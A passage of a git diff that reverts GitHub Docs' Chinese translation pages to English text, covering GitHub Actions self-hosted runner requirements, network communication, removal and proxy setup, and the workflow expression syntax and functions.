您负责更新操作系统和所有其他软件。 -- 可使用已付费的云服务或本地计算机。 -- 可根据您的硬件、操作系统、软件和安全要求进行自定义。 -- 无需为每个作业执行提供一个干净的实例。 -- 可免费使用 {% data variables.product.prodname_actions %}，但是您对运行器维护费用负责。 +**Self-hosted runners:** +- Receive automatic updates for the self-hosted runner application only. You are responsible for updating the operating system and all other software. +- Can use cloud services or local machines that you already pay for. +- Are customizable to your hardware, operating system, software, and security requirements. +- Don't need to have a clean instance for every job execution. +- Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines. -## 自托管运行器机器的要求 +## Requirements for self-hosted runner machines -只要符合以下要求，便可将任何计算机用作自托管运行器： +You can use any machine as a self-hosted runner as long at it meets these requirements: -* 您可以在机器上安装和运行自托管运行器应用程序。 更多信息请参阅“[自托管运行器支持的架构和操作系统](#supported-architectures-and-operating-systems-for-self-hosted-runners)”。 -* 计算机可与 {% data variables.product.prodname_actions %} 通信。 更多信息请参阅“[自托管运行器与 {% data variables.product.prodname_dotcom %} 之间的通信](#communication-between-self-hosted-runners-and-github)”。 -* 机器有足够的硬件资源来执行您计划运行的工作流程类型。 自托管运行器应用程序本身只需要很少的资源。 -* 如果您想运行使用 Docker 容器操作或服务容器的工作流程，您必须使用 Linux 机器并安装 Docker。 +* You can install and run the self-hosted runner application on the machine. For more information, see "[Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners)." +* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see "[Communication between self-hosted runners and {% data variables.product.prodname_dotcom %}](#communication-between-self-hosted-runners-and-github)." +* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources. +* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed. {% ifversion fpt or ghes > 3.2 or ghec %} -## 自动缩放自托管运行器 +## Autoscaling your self-hosted runners -您可以自动增加或减少环境中自托管运行器的数量，以响应您收到的 web 挂钩事件。 更多信息请参阅“[使用自托管运行器自动缩放](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)”。 +You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." {% endif %} -## 使用限制 +## Usage limits -在使用自托管的运行器时，对 {% data variables.product.prodname_actions %} 的使用有一些限制。 这些限制可能会有变动。 +There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change. {% data reusables.github-actions.usage-workflow-run-time %} -- **作业排队时间** - 自托管运行器的每个作业最多可排队 24 小时。 如果自托管运行器在此限制内没有开始执行作业，则作业将被终止，并且无法完成。 +- **Job queue time** - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete. {% data reusables.github-actions.usage-api-requests %} -- **作业矩阵** - {% data reusables.github-actions.usage-matrix-limits %} +- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %} {% data reusables.github-actions.usage-workflow-queue-limits %} -## 自托管运行器的工作流连续性 +## Workflow continuity for self-hosted runners {% data reusables.github-actions.runner-workflow-continuity %} -## 自托管运行器支持的架构和操作系统 +## Supported architectures and operating systems for self-hosted runners -自托管运行器应用程序支持以下操作系统。 +The following operating systems are supported for the self-hosted runner application. ### Linux -- Red Hat Enterprise Linux 7 或更新版本 -- CentOS 7 或更新版本 +- Red Hat Enterprise Linux 7 or later +- CentOS 7 or later - Oracle Linux 7 -- Fedora 29 或更高版本 -- Debian 9 或更高版本 -- Ubuntu 16.04 或更高版本 -- Linux Mint 18 或更高版本 -- openSUSE 15 或更高版本 -- SUSE Enterprise Linux (SLES) 12 SP2 或更高版本 +- Fedora 29 or later +- Debian 9 or later +- Ubuntu 16.04 or later +- Linux Mint 18 or later +- openSUSE 15 or later +- SUSE Enterprise Linux (SLES) 12 SP2 or later ### Windows -- Windows 7 64 位 -- Windows 8.1 64 位 -- Windows 10 64 位 -- Windows Server 2012 R2 64 位 -- Windows Server 2016 64 位 -- Windows Server 2019 64 位 +- Windows 7 64-bit +- Windows 8.1 64-bit +- Windows 10 64-bit +- Windows Server 2012 R2 64-bit +- Windows Server 2016 64-bit +- Windows Server 2019 64-bit ### macOS -- macOS 10.13 (High Sierra) 或更高版本 +- macOS 10.13 (High Sierra) or later -### 架构 +### Architectures -自托管运行器应用程序支持以下处理器架构。 +The following processor architectures are supported for the self-hosted runner application. -- `x64` - Linux、macOS、Windows。 -- `ARM64` - 仅 Linux。 -- `ARM32` - 仅 Linux。 +- `x64` - Linux, macOS, Windows. +- `ARM64` - Linux only. +- `ARM32` - Linux only. {% ifversion ghes %} -## 自托管运行器与 {% data variables.product.prodname_dotcom %} 之间的通信 +## Supported actions on self-hosted runners -可能需要额外配置才可结合使用来自 {% data variables.product.prodname_dotcom_the_website %} 的操作与 {% data variables.product.prodname_ghe_server %}，或者结合使用 `actions/setup-LANGUAGE` 操作与没有互联网连接的自托管运行器。 更多信息请参阅“[自托管运行器与 {% data variables.product.prodname_dotcom %} 之间的通信](#communication-between-self-hosted-runners-and-github)”。 +Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator. {% endif %} -## 自托管运行器与 {% data variables.product.product_name %} 之间的通信 +## Communication between self-hosted runners and {% data variables.product.product_name %} -自托管运行器将调查 {% data variables.product.product_name %} 以检索应用程序更新，并检查是否有作业在排队等待处理。 自托管运行器使用 HTTPS _long poll_ 打开 {% data variables.product.product_name %} 连接 50 秒，如果没有收到任何响应，就会暂停并创建新的长轮询。 应用程序必须在机器上运行才能接受和运行 {% data variables.product.prodname_actions %} 作业。 +The self-hosted runner polls {% data variables.product.product_name %} to retrieve application updates and to check if any jobs are queued for processing. The self-hosted runner uses a HTTPS _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs. + +{% data reusables.actions.self-hosted-runner-ports-protocols %} {% ifversion ghae %} -您必须确保自托管运行器具有适当的网络访问权限才可与 -{% data variables.product.prodname_ghe_managed %} URL and its subdomains. +You must ensure that the self-hosted runner has appropriate network access to communicate with the {% data variables.product.prodname_ghe_managed %} URL and its subdomains. For example, if your instance name is `octoghae`, then you will need to allow the self-hosted runner to access `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com`, and `codeload.octoghae.githubenterprise.com`. -如果您对 -{% data variables.product.prodname_dotcom %} 组织或企业帐户使用 IP 地址允许列表，必须将自托管运行器的 IP 地址添加到允许列表。 更多信息请参阅“[管理组织允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)”。 +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)." {% endif %} {% ifversion fpt or ghec %} @@ -145,7 +145,7 @@ You must ensure that the machine has the appropriate network access to communica {% note %} -**注意：** 下面列出的一些域名使用 `CNAME` 记录。 一些防火墙可能要求您为所有 `CNAME` 记录递归添加规则。 请注意， `CNAME` 记录将来可能会改变，只有下面列出的域名将保持不变。 +**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant. {% endnote %} @@ -171,7 +171,7 @@ github-releases.githubusercontent.com github-registry-files.githubusercontent.com ``` -**Needed for uploading/downloading caches and workflow artifacts:** +**Needed for uploading/downloading caches and workflow artifacts:** ``` *.blob.core.windows.net @@ -185,27 +185,27 @@ github-registry-files.githubusercontent.com In addition, your workflow may require access to other network resources. For example, if your workflow installs packages or publishes containers to {% data variables.product.prodname_dotcom %} Packages, then the runner will also require access to those network endpoints. -如果您对 {% data variables.product.prodname_dotcom %} 组织或企业帐户使用 IP 地址允许列表，必须将自托管运行器的 IP 地址添加到允许列表。 更多信息请参阅“[管理组织允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)”或“[在企业中实施安全设置策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)”。 +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)". {% else %} -您必须确保机器具有适当的网络访问权限才可与 {% data variables.product.product_location %} 通信。 +You must ensure that the machine has the appropriate network access to communicate with {% data variables.product.product_location %}.{% ifversion ghes %} Self-hosted runners connect directly to {% data variables.product.product_location %} and do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.product.product_location %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.product.product_location %}, with no need for traffic to traverse a public network.{% endif %} {% endif %} -您也可以通过代理服务器使用自托管的运行器。 更多信息请参阅“[将代理服务器与自托管运行器一起使用](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)”。 +You can also use self-hosted runners with a proxy server. For more information, see "[Using a proxy server with self-hosted runners](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)." {% ifversion ghes %} -## 自托管运行器与 {% data variables.product.prodname_dotcom_the_website %} 之间的通信 +## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %} Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have [enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). -If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. 您必须确保机器具有适当的网络访问权限才可与以下列出的 {% data variables.product.prodname_dotcom %} URL 通信。 +If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below. {% note %} -**注意：** 下面列出的一些域名使用 `CNAME` 记录。 一些防火墙可能要求您为所有 `CNAME` 记录递归添加规则。 请注意， `CNAME` 记录将来可能会改变，只有下面列出的域名将保持不变。 +**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant. {% endnote %} @@ -219,17 +219,17 @@ codeload.github.com {% ifversion fpt or ghec %} -## 使用公共仓库的自托管运行器安全性 +## Self-hosted runner security with public repositories {% data reusables.github-actions.self-hosted-runner-security %} -这对 {% data variables.product.prodname_dotcom %} 托管的运行器不是问题，因为每个 {% data variables.product.prodname_dotcom %} 托管的运行器始终是一个干净的独立虚拟机， 在作业执行结束时被销毁。 +This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution. -在自托管运行器上运行不受信任的工作流程会给您的机器和网络环境带来严重的安全风险，特别是机器在同一环境下执行不同的作业时。 其中一些风险包括： +Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include: -* 机器上运行的恶意程序。 -* 逃避机器的运行器沙盒。 -* 显示对机器网络环境的访问权限。 -* 在机器上保持不需要或危险的数据。 +* Malicious programs running on the machine. +* Escaping the machine's runner sandbox. +* Exposing access to the machine's network environment. +* Persisting unwanted or dangerous data on the machine. {% endif %} diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md index 1f44ab310d..b492e034f7 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: 删除自托管的运行器 -intro: '您可以从 {{ site.data.variables.product.prodname_actions }} 永久删除自托管的运行器。' +title: Removing self-hosted runners +intro: 'You can permanently remove a self-hosted runner from a repository, an organization, or an enterprise.' redirect_from: - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners @@ -10,7 +10,7 @@ versions: ghae: '*' ghec: '*' type: tutorial -shortTitle: 删除自托管的运行器 +shortTitle: Remove self-hosted runners --- {% data reusables.actions.ae-self-hosted-runners-notice %} @@ -18,17 +18,17 @@ shortTitle: 删除自托管的运行器 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 从仓库中删除运行器 +## Removing a runner from a repository {% note %} -**注意：** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} {% endnote %} -要从用户仓库删除自托管的运行器，您必须是仓库所有者。 对于组织仓库，您必须是组织所有者或拥有该仓库管理员的权限。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自托管运行器的信息，请参阅“[自托管运行器](/rest/reference/actions#self-hosted-runners)”。 +To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec %} @@ -45,17 +45,17 @@ shortTitle: 删除自托管的运行器 {% data reusables.github-actions.settings-sidebar-actions-runners %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner %} {% endif %} -## 从组织中删除运行器 +## Removing a runner from an organization {% note %} -**注意：** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} {% endnote %} -要从组织删除自托管的运行器，您必须是组织所有者。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自托管运行器的信息，请参阅“[自托管运行器](/rest/reference/actions#self-hosted-runners)”。 +To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} @@ -71,11 +71,11 @@ shortTitle: 删除自托管的运行器 {% data reusables.github-actions.settings-sidebar-actions-runners %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner %} {% endif %} -## 从企业中删除运行器 +## Removing a runner from an enterprise {% note %} -**注意：** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} @@ -83,7 +83,7 @@ shortTitle: 删除自托管的运行器 {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec %} -要从企业帐户删除自托管运行器，您必须是组织所有者。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 添加自托管运行器的信息，请参阅[企业管理 GitHub Actions API](/rest/reference/enterprise-admin#github-actions)。 +To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} @@ -91,8 +91,7 @@ shortTitle: 删除自托管的运行器 {% data reusables.github-actions.settings-sidebar-actions-runner-selection %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %} {% elsif ghae or ghes %} -要在 -{% data variables.product.product_location %} 的企业级删除自托管运行器，您必须是企业所有者。 建议您也访问自托管的运行器机器。 +To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md index eb3c63467e..9028179143 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: 将代理服务器与自托管运行器一起使用 -intro: '您可以配置自托管运行器使用代理服务器与 {% data variables.product.product_name %} 通信。' +title: Using a proxy server with self-hosted runners +intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.' redirect_from: - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners versions: @@ -9,7 +9,7 @@ versions: ghae: '*' ghec: '*' type: tutorial -shortTitle: 代理服务器 +shortTitle: Proxy servers --- {% data reusables.actions.ae-self-hosted-runners-notice %} @@ -17,39 +17,41 @@ shortTitle: 代理服务器 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 使用环境变量配置代理服务器 +## Configuring a proxy server using environment variables -如果需要一个自托管运行器来通过代理服务器通信，则自托管运行器应用程序使用在以下环境变量中设置的代理配置： +If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables: -* `http:_proxy`：HTTPS 流量的代理 URL。 如果需要，您也可以包括基本验证凭据。 例如： +* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example: * `http://proxy.local` * `http://192.168.1.1:8080` * `http://username:password@proxy.local` -* `http_proxy`：HTTP 流量的代理 URL。 如果需要，您也可以包括基本验证凭据。 例如： +* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example: * `http://proxy.local` * `http://192.168.1.1:8080` * `http://username:password@proxy.local` -* `no_proxy`：逗号分隔的主机列表不应使用代理。 `no_proxy` 中只允许使用主机名，不能使用 IP 地址。 例如： +* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example: * `example.com` * `example.com,myserver.local:443,example.org` -当自托管运行器应用程序启动时，会读取代理环境变量，因此您必须在配置或启动自托管运行器应用程序之前设置环境变量。 如果您的代理配置更改，必须重新启动自托管运行器应用程序。 +The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application. -在 Windows 机器上，代理环境变量名称不区分大小写。 在 Linux 和 macOS 机器上，建议环境变量全部小写。 如果您在 Linux 或 macOS 上同时有小写和大写的环境变量， 例如，`https://clus_proxy` 和 `HTTPS_PROXY`，自托管运行器应用程序将使用小写环境变量。 +On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable. -## 使用 .env 文件设置代理配置 +{% data reusables.actions.self-hosted-runner-ports-protocols %} -如果设置环境变量不可行，您可以在自托管运行器应用程序目录中名为 _.env_ 的文件中设置代理配置变量。 例如，如果您想要将运行器应用程序配置为系统帐户下的服务，这可能是必需的。 当运行器应用程序启动时，它会读取代理 _.env_ 中为代理配置设置的变量。 +## Using a .env file to set the proxy configuration -示例 _.env_ 代理配置如下所示： +If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration. + +An example _.env_ proxy configuration is shown below: ```ini https_proxy=http://proxy.local:8080 no_proxy=example.com,myserver.local:443 ``` -## 设置 Docker 容器的代理配置 +## Setting proxy configuration for Docker containers -如果您在工作流程中使用 Docker 容器操作或服务容器，则除了设置上述环境变量外，可能还需要配置 Docker来使用代理服务器。 +If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables. -有关所需 Docker 配置的信息，请参阅 Docker 文档中的“[配置 Docker 以使用代理服务器](https://docs.docker.com/network/proxy/)”。 +For information on the required Docker configuration, see "[Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/)" in the Docker documentation. diff --git a/translations/zh-CN/content/actions/learn-github-actions/expressions.md b/translations/zh-CN/content/actions/learn-github-actions/expressions.md index 41b6ac54e7..b59a6e82ab 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/expressions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/expressions.md @@ -16,21 +16,21 @@ miniTocMaxHeadingLevel: 3 ## About expressions -您可以使用表达式程序化设置工作流程文件中的变量和访问上下文。 表达式可以是文字值、上下文引用或函数的任意组合。 您可以使用运算符组合文字、上下文引用和函数。 For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." +You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." -表达式通常在工作流程文件中与条件性 `if` 关键词一起用来确定步骤是否应该运行。 当 `if` 条件为 `true` 时，步骤将会运行。 +Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. -您需要使用特定语法指示 {% data variables.product.prodname_dotcom %} 对表达式求值，而不是将其视为字符串。 +You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string. {% raw %} `${{ }}` {% endraw %} -{% data reusables.github-actions.expression-syntax-if %}有关 `if` 条件的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)”。 +{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." {% data reusables.github-actions.context-injection-warning %} -#### `if` 条件的示例表达式 +#### Example expression in an `if` conditional ```yaml steps: @@ -38,7 +38,7 @@ steps: if: {% raw %}${{ }}{% endraw %} ``` -#### 设置环境变量的示例 +#### Example setting an environment variable {% raw %} ```yaml @@ -47,18 +47,18 @@ env: ``` {% endraw %} -## 文字 +## Literals -作为表达式的一部分，您可以使用 `boolean`、`null`、`number` 或 `string` 数据类型。 +As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. -| 数据类型 | 文字值 | -| -------- | ---------------------- | -| `布尔值` | `true` 或 `false` | -| `null` | `null` | -| `number` | JSON 支持的任何数字格式。 | -| `字符串` | 必须使用单引号。 使用单引号逸出文字单引号。 | +| Data type | Literal value | +|-----------|---------------| +| `boolean` | `true` or `false` | +| `null` | `null` | +| `number` | Any number format supported by JSON. | +| `string` | You must use single quotes. Escape literal single-quotes with a single quote. | -#### 示例 +#### Example {% raw %} ```yaml @@ -74,99 +74,99 @@ env: ``` {% endraw %} -## 运算符 +## Operators -| 运算符 | 描述 | -| ------------------------- | ------ | -| `( )` | 逻辑分组 | -| `[ ]` | 索引 | -| `.` | 属性解除参考 | -| `!` | 非 | -| `<` | 小于 | -| `<=` | 小于或等于 | -| `>` | 大于 | -| `>=` | 大于或等于 | -| `==` | 等于 | -| `!=` | 不等于 | -| `&&` | 和 | -| \|\| | 或 | +| Operator | Description | +| --- | --- | +| `( )` | Logical grouping | +| `[ ]` | Index +| `.` | Property dereference | +| `!` | Not | +| `<` | Less than | +| `<=` | Less than or equal | +| `>` | Greater than | +| `>=` | Greater than or equal | +| `==` | Equal | +| `!=` | Not equal | +| `&&` | And | +| \|\| | Or | -{% data variables.product.prodname_dotcom %} 进行宽松的等式比较。 +{% data variables.product.prodname_dotcom %} performs loose equality comparisons. -* 如果类型不匹配，{% data variables.product.prodname_dotcom %} 强制转换类型为数字。 {% data variables.product.prodname_dotcom %} 使用这些转换将数据类型转换为数字： +* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: - | 类型 | 结果 | - | ---- | ------------------------------------------------------- | - | Null | `0` | - | 布尔值 | `true` 返回 `1`
                    `false` 返回 `0` | - | 字符串 | 从任何合法 JSON 数字格式剖析，否则为 `NaN`。
                    注：空字符串返回 `0`。 | - | 数组 | `NaN` | - | 对象 | `NaN` | -* 一个 `NaN` 与另一个 `NaN` 的比较不会产生 `true`。 更多信息请参阅“[NaN Mozilla 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)”。 -* {% data variables.product.prodname_dotcom %} 在比较字符串时忽略大小写。 -* 对象和数组仅在为同一实例时才视为相等。 + | Type | Result | + | --- | --- | + | Null | `0` | + | Boolean | `true` returns `1`
                    `false` returns `0` | + | String | Parsed from any legal JSON number format, otherwise `NaN`.
                    Note: empty string returns `0`. | + | Array | `NaN` | + | Object | `NaN` | +* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." +* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. +* Objects and arrays are only considered equal when they are the same instance. -## 函数 +## Functions -{% data variables.product.prodname_dotcom %} 提供一组内置的函数，可用于表达式。 有些函数抛出值到字符串以进行比较。 {% data variables.product.prodname_dotcom %} 使用这些转换将数据类型转换为字符串： +{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: -| 类型 | 结果 | -| ---- | -------------------- | -| Null | `''` | -| 布尔值 | `'true'` 或 `'false'` | -| 数字 | 十进制格式，对大数字使用指数 | -| 数组 | 数组不转换为字符串 | -| 对象 | 对象不转换为字符串 | +| Type | Result | +| --- | --- | +| Null | `''` | +| Boolean | `'true'` or `'false'` | +| Number | Decimal format, exponential for large numbers | +| Array | Arrays are not converted to a string | +| Object | Objects are not converted to a string | ### contains `contains( search, item )` -如果 `search` 包含 `item`，则返回 `true`。 如果 `search` 为数组，此函数在 `item` 为数组中的元素时返回 `true`。 如果 `search` 为字符串，此函数在 `item` 为 `search` 的子字符串时返回 `true`。 此函数不区分大小写。 抛出值到字符串。 +Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. -#### 使用数组的示例 +#### Example using an array `contains(github.event.issue.labels.*.name, 'bug')` -#### 使用字符串的示例 +#### Example using a string -`contains('Hello world', 'llo')` 返回 `true` +`contains('Hello world', 'llo')` returns `true` ### startsWith `startsWith( searchString, searchValue )` -当 `searchString` 以 `searchValue` 开头时返回 `true`。 此函数不区分大小写。 抛出值到字符串。 +Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. -#### 示例 +#### Example -`startsWith('Hello world', 'He')` 返回 `true` +`startsWith('Hello world', 'He')` returns `true` ### endsWith `endsWith( searchString, searchValue )` -当 `searchString` 以 `searchValue` 结尾时返回 `true`。 此函数不区分大小写。 抛出值到字符串。 +Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. -#### 示例 +#### Example -`endsWith('Hello world', 'ld')` 返回 `true` +`endsWith('Hello world', 'ld')` returns `true` ### format `format( string, replaceValue0, replaceValue1, ..., replaceValueN)` -将 `string` 中的值替换为变量 `replaceValueN`。 `string` 中的变量使用 `{N}` 语法指定，其中 `N` 为整数。 必须指定至少一个 `replaceValue` 和 `string`。 可以使用变量 (`replaceValueN`) 数没有上限。 使用双小括号逸出大括号。 +Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. -#### 示例 +#### Example -返回 'Hello Mona the Octocat' +Returns 'Hello Mona the Octocat' `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')` -#### 逸出括号示例 +#### Example escaping braces -返回 '{Hello Mona the Octocat!}' +Returns '{Hello Mona the Octocat!}' {% raw %} ```js @@ -178,31 +178,31 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') `join( array, optionalSeparator )` -`array` 的值可以是数组或字符串。 `array` 